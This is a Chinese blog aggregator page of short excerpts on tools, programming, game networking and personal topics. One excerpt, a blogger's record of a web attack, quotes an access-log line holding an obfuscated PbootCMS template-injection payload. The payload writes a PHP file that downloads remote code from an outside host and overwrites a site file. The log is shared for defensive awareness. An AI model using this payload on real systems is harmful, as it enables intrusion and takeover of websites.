聚合文章

汇集全部已收录博客的最新文章,点击标题前往原文阅读。

排序方式:最新发布
Region Region 2024-08-08

Chrome浏览器开启多线程下载,让你的下载速度提升10倍+

前言Chrome 下载默认是单线程的,但可以改成多线程,从而大幅加快下载速度。你知道谷歌也支持多线程下载吗?有趣的是其实谷歌浏览器在很早的时候也就支持多线程下载,只是直到现在为止多线程下载依然是个实验性选项。也就是默认情况下谷歌浏览器默认的下载工具工具并不会启用多线程下载技术,所以用户下载感觉还是比较慢的开启多线程下载方法chrome浏览器打开chrome://flags/#enable-parallel-downloading,将其中的Default修改为Enabled。这里Chrome 里给出的官方描述是:Enable parallel downloading to accelerate …

Friday50 Friday50 2024-08-08

GDB 快速参考

GDB 快速参考 GDB 版本 4 基本命令 b [file:]function 设置断点在函数 [在文件内] run [arglist] 运行你的程序 [带参数列表] bt 回溯:显示程序堆栈 p expr 显示表达式的值 c 继续运行你的程序 n 下一行,跳过函数调用 s 下一行,进入函数调用 启动 GDB gdb 启动 GDB,不带调试文件 gdb program 开始调试程序 gdb program core 调试由程序产生的核心转储文件 gdb –help 描述命令行选项 停止 GDB quit 退出 GDB;也可用 q 或 EOF (例如 C-d) INTERRUPT (例如 C-…

liuyude.com liuyude.com 2024-08-07

在群晖NAS上安装Git Server

最近刚学会了简单的使用Git跟GitHub,但是GitHub存在一个问题,那就是代码库是完全公开的,我不想让我所有的代码都公开,所以我还需要一个私有化的Git服务,正好我手头有一台群晖NAS,之前也见到过群晖nas上可以安装git,正好就这么折腾下。我的目的很简单,有一个私有化的Git服务,可以用来同步我的代码库,同时我还想用作obsidian的同步中心,实际上我本可以通过NAS的synology drive来同步的,那个也自带版本库,但是就是手痒,想通过Git来进行同步,然后把我所有别的平台的笔记都同步到obsidian中来进行使用。Git Server安装安装Git Server很简单,在…

王明明的小站 王明明的小站 2024-08-07

Go1.23中errors.Is新增了一个nil检查

摘要 在 Go 1.23 中,errors.Is 函数中添加了一个 nil 检查,可以让处理错误时写出可读性更好的代码。 正文 在 Go 1.23 之前,errors.Is 函数中没有检查 err 参数是否为 nil,当时的代码如下: 1 2 3 4 5 6 7 8 func Is(err, target error) bool { if target == nil { return err == target } isComparable := reflectlite.TypeOf(target).Comparable() return is(err, target, isComparabl…

BearChild · Blog BearChild · Blog 2024-08-07

[UE]Subobject同步优化

Subobject同步优化基于 PushModel 的 Subobject 同步优化;基本机制UE 提供了 PushModel 机制:对于 Property 这一层,通过 UEPushModelPrivate::MarkPropertyDirty 主动将其标记为 Dirty;在 FObjectReplicator::ReplicateProperties_r 进行属性同步时,通过 PushModelState->IsPropertyDirty 判断属性是否 Dirty ;既然可以判断一个同步对象上的同步 Property 是否有变更,就可以筛选出没有属性变化的对象;可以在 UActorChan…

BearChild · Blog BearChild · Blog 2024-08-07

[UE]ReplicationGraph应用

ReplicationGraph应用简介UnrealEngine 基本的网络同步在进行同步时需要对每个连接判断每个 Actor 是否需要同步,开销较大;可以通过实现 Replication ,实现一个不同的 ReplicationDriver 来优化性能;Replication 将 World 分为多个区域 Grid,把 Actor 根据所在 Grid 进行分类编组,可以快速找出需要同步的 Actor,同时确定哪些区域需要进行同步复制。基本原理对于需要按照空间划分(Spatialize)的 Actor 来说:首先将 World 按照 CellSize 抽象成一个个 Cell,一个 Cell 对…

爱情终是残念 爱情终是残念 2024-08-07

夜话

半夜惊醒,关掉空调,想着些有的没的,逐渐变得有些恼怒。若说原因,自然是某些人非要破解音流的会员机制。开发新功能加上修 bug 已经足够令我头疼了,现在还要与破解斗智斗勇。开发软件被破解本是一件可以预期的事情,但当这件事情真的落到自己的头上,还是会觉得气不打一处来。我可以选择放任不管,但这样做的后果,一是可能会有部分老用户觉得自己亏了,二是会员对新用户的吸引力会更弱,进而导致自己没有足够的资金来源继续音流的开发。所以这事我还必须要管,今后的打算就是一经发现就升级安全机制,旧版本已经发布了没有改的必要,至少新版本不能让破解用户那么早用上。我也真是奇怪这些人,不去破解大公司的产品,搁这薅个人开发者的…

骤雨 骤雨 2024-08-07

Docker + JupyterHub + Nvidia

近日购入一张技嘉Nvidia RTX 4060 Ti (16GB)用作机器学习用途,小记一波三折的安装过程。 … 继续阅读Docker + JupyterHub + Nvidia

寒星皓月 寒星皓月 2024-08-07

改造emlog支持emoji表情符

Emlog6.0.1是不支持emoji😀😜😍表情符,需要改造数据库将字符集设置为 utf8mb4 ,网上找了下教程。使用方法:这是一个为 Emlog 提供 emoji 表情支持的升级补丁,创建PHP文件将其放置在 Emlog 根目录下执行一次,注意 MySQL 版本不低于 5.5 。

Tzchz's Blog Tzchz's Blog 2024-08-07

六年过往,皆为序章——中学毕业暨Blog六周年记

在刚刚由小学升入初中时,建立了我的Blog,细细算来,至今已有六年;而也正好是在这六年中,走过了我的中学时代。本希望写下更多的文字,但纵万千感慨一时又不知由何落笔,遂无言胜于有言,整理出此建站历史的时间线以示纪念。 准确来说,Blog建立于2018年10月7日,至2024年10月7日为六周年整;而高考恰开始于2024年6月7日,故折中取8月7日作下此记。 一、我的Blog 二、我的主页 三、其他创意

《精读源码》- GoT

源码分析图 GoT Thoughts 统一结构后,Operation 实例的私有执行方法实际上就变成了前置 T 的转换函数,这个巧妙的设计是 GoT 框架的灵魂所在,比如可以用这个 T 生成新的 T’、也可以原地更新 T、或者其他操作,故名曰:思维变换。 GoT 在图数据结构上的算法简单高效(默认 Controller 执行策略为 BFS,最终实现在叶子节点上获得所有 Thoughts 的结果整合) Operation 核心是私有执行方法即 T 的变换函数,通过前置/后置指针最终连接在一起,因此支持分形 根节点是没有前置节点的节点;叶子节点是没有后置节点的节点 因为采用的是有向图的结构表达,因…

blog.sotkg.com blog.sotkg.com 2024-08-07

Docker部署Outline并使用Github作为OAuth服务

本文介绍了如何用 Docker Compose 一键部署企业级知识库 Outline,并接入 GitHub OAuth 登录。全文围绕“Minio 对象存储 → GitHub OAuth 注册 → Outline 多容器编排 → Nginx 反向代理”四大步骤展开,记录了生产级环境变量、PostgreSQL/Redis 持久化、S3 上传 ACL、速率限制与中文界面等关键配置细节,分享了本地测试与 HTTPS 外网访问的踩坑经验,为个人或团队快速搭建安全、私有的协作 wiki 提供完整可复制的指南。 点击查看全文

mggg.cloud mggg.cloud 2024-08-07

GPT的架构 - 从0构建LLM (1)

GPT的架构 GPT模型是一种计算机程序,它可以理解和生成文字,就像我们人类会说话和写字一样。 模型的工作流程 输入文本: 首先,我们把要处理的文字(比如一句话或一段话)输入到模型中。 词嵌入层: 模型会把这些文字转换成一种计算机能理解的数字形式,这叫“词嵌入”。这就好像我们用字母拼出一个单词一样,计算机用数字来表示这些文字。 位置嵌入层: 模型还会考虑每个单词在句子中的位置,因为同样的单词在不同的位置可能有不同的意思。 多个转换器模块: 这些模块负责处理和理解输入的文字。每个模块都有几个重要部分: 注意力机制(Masked Multi-head Attention): 这部分就像我们阅读一篇…

记录一次web攻击

查看后台日志发现一段恶意攻击---》134.122.184.11 - - [07/Aug/2024:08:21:09 +0800] "GET /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgCmZpbGVfcHV0X2NvbnRlbnRzKCcuL2NvcmUvYmFzaWMvZnVuLnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9kLnNvZ291YWQudmlwL3R4dC9vdGU…

liuyude.com liuyude.com 2024-08-06

Git&Github学习笔记

很多年前我就使用过Github,但是这么多年我基本只会用clone来下载东西,从来没有通过本地进行推送过,原因也很简单,因为我本职工作还是产品设计,并不会系统的写一个大项目,但是最近我在学习swift的过程中,我很想实现在公司写的代码,在我家电脑也能同步出现,我知道这个问题通过NAS是可以实现的,但是感觉不够优雅,于是我就又找了一些Git的使用教程开始了稍微深入下的学习。学习教程我找的是廖雪峰的Git学习教程:Git教程要学习Git,首先是如何创建Git,我的设备是Mac+Win10。Mac本身自带有Git,Win10在官网下载安装下即可,这里不赘述了。创建Git仓库创建Git仓库:在本地随便…

Hubert's Blog Hubert's Blog 2024-08-06

为 Chrome OS 设置代理

想要在 Chrome OS 上简单方便的代理设备的流量,那就只能在 Android 环境下安装软件,再由系统设定好的本机通道自动在 Chrome、Android 与 Linux 虚拟机之间共享,好处自然是方便且稳定,代价嘛...

Kang's Blog Kang's Blog 2024-08-06

Ubuntu安装记录

安装Ubuntu系统(包含Nvidia驱动)CPU: i7-14700K显卡: GeForce RTX 4060 Ti 16 gU盘启动后选项如下:失败记录:选择Try or Install Ubuntu无法进入安装界面,一直停留在Ubuntu的加载界面;选择Ubuntu(safe graphics)进入安装,但过程中失败,通过log发现有联网需求,之后操作选择使用有线网络;重复几次后,突然前两种安装+是否添加nomodeset共四种方法均无法成功安装,选择清空硬盘和U盘并重制启动U盘;安装Ubuntu后再次启动一直黑屏无反应,后来将HDMI从显卡换到主板上解决。步骤:由于采用双硬盘双系统的安…

JoyQi JoyQi 2024-08-06

再见了 Kindle

Kindle 宣布退出中国已经有一阵子了,本来我已经快忘了这件事,毕竟泡面盖子的存在感平时也不咋地。直到最近收到这么一封邮件这件事突然让我想到自从 Kindle 中国的商店不可用以来,我已经很久...

光阴小栈 光阴小栈 2024-08-06

shadcn/ui + Next.js 搭了个后台管理系统

最近要给一个小项目搭后台管理系统,对比了一圈方案——Ant Design Pro 太重了,用 ElementUI 又想换个口味。刷推看到好多人在安利 shadcn/ui,说它不是传统的组件库,而是直接把源码复制到你项目里,想怎么改就怎么改。正好最近在写 Next.js,就试着搭了一个。1. shadcn/ui 到底是什么先说它跟 Ant Design、ElementUI 这类组件库最大的区别:它不是一个 npm 包。你不会在 package.json 里看到 "shadcn-ui": "x.x.x" 这种依赖。它的工作方式是通过 CLI 把你选的组件源代码直接拷贝到你项目的 component…

blog.nwn.moe blog.nwn.moe 2024-08-06

Nginx 通过 AutoIndex 实现目录浏览功能

最近在折腾某些东西的时候发现了这个网站 https://phus.lu/ 觉得还不错,刚好我最近也有想法整一个这个用来上传我的文件。 配置#启用 AutoIndex#这个非常的简单,只需要在想要启用 AutoIndex 的站点的 server 块中添加下方的配置1 location / {2 charset utf-8;3 autoindex on;4 autoindex_localtime on;5 autoindex_exact_size off;6 }保存然后重载 Nginx 即可上面配置是全局启用 AutoIndex 如果想要指定路径启用 AutoIndex 只需要自行修改 locat…

使用JAVE库进行音视频处理

什么是 JAVE? # JAVE(Java Audio Video Encoder)是一个用于音视频处理的 Java 库。它基于 FFmpeg,提供了简单的 API 来执行音视频转码、提取音频、调整分辨率等操作。JAVE 的核心库是 jave-core,而 jave-nativebin-linux64 是针对 Linux 64 位系统的原生二进制依赖。

膨胀自留地 膨胀自留地 2024-08-06

BroadcastChannel将你的 Telegram Channel 转为微博客

BroadcastChannel 是一个开源项目,可以将你的 Telegram Channel 转为微博客。 ✨ 特性 将 Telegram Channel 转为微博客 SEO 友好 /sitemap.xml 浏览器端 0 JS 提供 RSS 和 RSS JSON /rss.xml /rss.json 广播频道支持部署在 Cloudflare、Netlify、Vercel 等支持 Node.js SSR 的无服务器平台或者 V

www.luocome.cn www.luocome.cn 2024-08-06

历史Maven3所有版本

因为从官网进的网址是这个https://dlcdn.apache.org/maven/maven-3/其中已经移除了老的版本,想获取需要从下面这个网址里面进去https://archive.ap...

CZYの学习笔记 CZYの学习笔记 2024-08-06

基环树

基环树指的是具备 n 个节点与 n 条边的连通图,存在并且仅存在一个环。 有关基环树的问题通常依照寻找环 -& […]

CFC4N的博客 CFC4N的博客 2024-08-06

eBPF在Golang中的应用介绍

很多时候,在开发软件时,都是在操作系统的安全范围内进行操作,我们不知道网络接口如何黑醋栗IP数据包,也不知道文件系统如何处理这些inode。本文用Golang语言以及eBPF技术,演示了对内核行为进行监控的实现,希望对你有帮助。